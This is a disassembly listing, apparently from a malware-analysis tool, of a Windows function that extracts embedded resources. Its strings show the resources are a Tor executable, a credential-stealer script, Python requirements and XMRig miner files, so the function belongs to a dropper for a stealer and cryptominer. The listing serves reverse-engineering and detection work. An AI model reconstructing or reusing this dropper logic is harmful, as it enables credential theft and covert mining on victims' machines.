Function at 0x140004570
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xe0
mov rax, qword [0x140045028]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov rsi, rdx
movsxd rbx, ecx
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
xor r14d, r14d
mov qword [rbp - 0x11], r14
mov qword [rbp - 9], 0xf
mov byte [rbp - 0x21], r14b
cmp ebx, 5
ja case.default.0x1400045d2
lea rdx, [0x140000000]
mov ecx, dword [rdx + rbx*4 + 0x4a00]
add rcx, rdx
jmp rcx
lea rdx, str.TOR_EXECUTABLE
mov ebx, 0xff
lea edi, [rbx - 2]
mov r8d, 0xe
jmp 0x140004658
lea rdx, str.CREDENTIAL_STEALER_SCRIPT
mov edi, 0xfc
mov r8d, 0x19
jmp 0x140004653
lea rdx, str.PYTHON_REQUIREMENTS
mov edi, 0xfb
mov r8d, 0x13
jmp 0x140004653
lea rdx, str.XMRIG_EXECUTABLE
mov ebx, 0xff
lea edi, [rbx - 5]
mov r8d, 0x10
jmp 0x140004658
lea rdx, str.XMRIG_DRIVER
mov ebx, 0xff
lea edi, [rbx - 6]
mov r8d, 0xc
jmp 0x140004658
lea rdx, str.XMRIG_CONFIG
mov edi, 0xf8
mov r8d, 0xc
mov ebx, 0xfe
lea rcx, [rbp - 0x21]
call fcn.140003ff0
mov qword [rbp - 0x31], r14
lea r8, [rbp - 0x31]
lea rdx, [0x140004520]
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov r8, rbx
mov rdx, rdi
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x1400046db
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], r14
mov r8d, 0x16
lea rdx, str.Resources::GetResource
lea rcx, [rbp - 0x79]
call fcn.1400027e0
lea r8, [rbp - 0x21]
cmp qword [rbp - 9], 0x10
cmovae r8, qword [rbp - 0x21]
lea rdx, str.Failed_to_load_resource__s
lea rcx, [rbp - 0x79]
call fcn.14001dc60
jmp 0x140004997
mov qword [rbp - 0x29], r14
lea r8, [rbp - 0x29]
lea rdx, [0x140004520]
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov rdx, rdi
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x140004693
mov qword [rbp - 0x39], r14
lea r8, [rbp - 0x39]
lea rdx, [0x140004520]
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov rdx, rdi
mov rcx, qword [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test eax, eax
je 0x140004693
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
xorps xmm0, xmm0
test rax, rax
je 0x140004696
movups xmmword [rbp - 1], xmm0
mov qword [rbp + 0xf], r14
mov qword [rbp + 0x17], r14
mov r8d, edi
mov rdx, rax
lea rcx, [rbp - 1]
call fcn.1400027e0
nop
lea r8, [rbp - 1]
cmp qword [rbp + 0x17], 0x10
jb 0x140004780
mov rcx, qword [rbp - 1]
mov r8, rcx
jmp 0x140004784
lea rcx, [rbp - 1]
mov rdx, qword [rbp + 0xf]
add rdx, rcx
mov rcx, r8
call fcn.14002e9c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
mov qword [rbp + 0x2f], r14
mov qword [rbp + 0x37], 0xf
mov byte [rbp + 0x1f], 0
lea rdx, [rbp - 1]
lea rcx, [rbp - 0x59]
call fcn.1400024d0
lea rdx, [rbp + 0x1f]
mov rcx, rax
call fcn.1400253d0
test al, al
jne 0x140004811
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], r14
mov r8d, 0x16
lea rdx, str.Resources::GetResource
lea rcx, [rbp - 0x79]
call fcn.1400027e0
lea r8, [rbp - 0x21]
cmp qword [rbp - 9], 0x10
cmovae r8, qword [rbp - 0x21]
lea rdx, str.Failed_to_decoded_resource__s
lea rcx, [rbp - 0x79]
call fcn.14001dc60
xor bl, bl
jmp 0x1400048d3
lea rax, [rbp + 0x1f]
cmp rsi, rax
je 0x140004834
lea rdx, [rbp + 0x1f]
cmp qword [rbp + 0x37], 0x10
cmovae rdx, qword [rbp + 0x1f]
mov r8, qword [rbp + 0x2f]
mov rcx, rsi
call fcn.140003ff0
mov edx, edi
lea rcx, [rbp - 0x59]
call fcn.1400244b0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], r14
mov r8d, 0x16
lea rdx, str.Resources::GetResource
lea rcx, [rbp - 0x79]
call fcn.1400027e0
cmp qword [rbx + 0x18], 0x10
jb 0x140004871
mov rbx, qword [rbx]
lea r8, [rbp - 0x21]
cmp qword [rbp - 9], 0x10
cmovae r8, qword [rbp - 0x21]
mov r9, rbx
lea rdx, str.Loaded_resource__s___s_
lea rcx, [rbp - 0x79]
call fcn.14001da20
nop
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x1400048d1
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400048cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ec3c
mov bl, 1
mov rdx, qword [rbp + 0x37]
cmp rdx, 0x10
jb 0x140004912
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000490c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000490c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ec3c
nop
mov rdx, qword [rbp + 0x17]
cmp rdx, 0x10
jb 0x140004950
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000494b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000494b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ec3c
mov qword [rbp + 0xf], r14
mov qword [rbp + 0x17], 0xf
mov byte [rbp - 1], 0
jmp 0x140004999
movups xmmword [rbp - 0x79], xmm0
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x61], r14
mov r8d, 0x16
lea rdx, str.Resources::GetResource
lea rcx, [rbp - 0x79]
call fcn.1400027e0
mov r8d, ebx
lea rdx, str.Could_not_find_resource_type_of__d
lea rcx, [rbp - 0x79]
call fcn.14001dc60
xor bl, bl
mov rdx, qword [rbp - 9]
cmp rdx, 0x10
jb 0x1400049d7
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400049d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ec3c
movzx eax, bl
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14002eb10
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret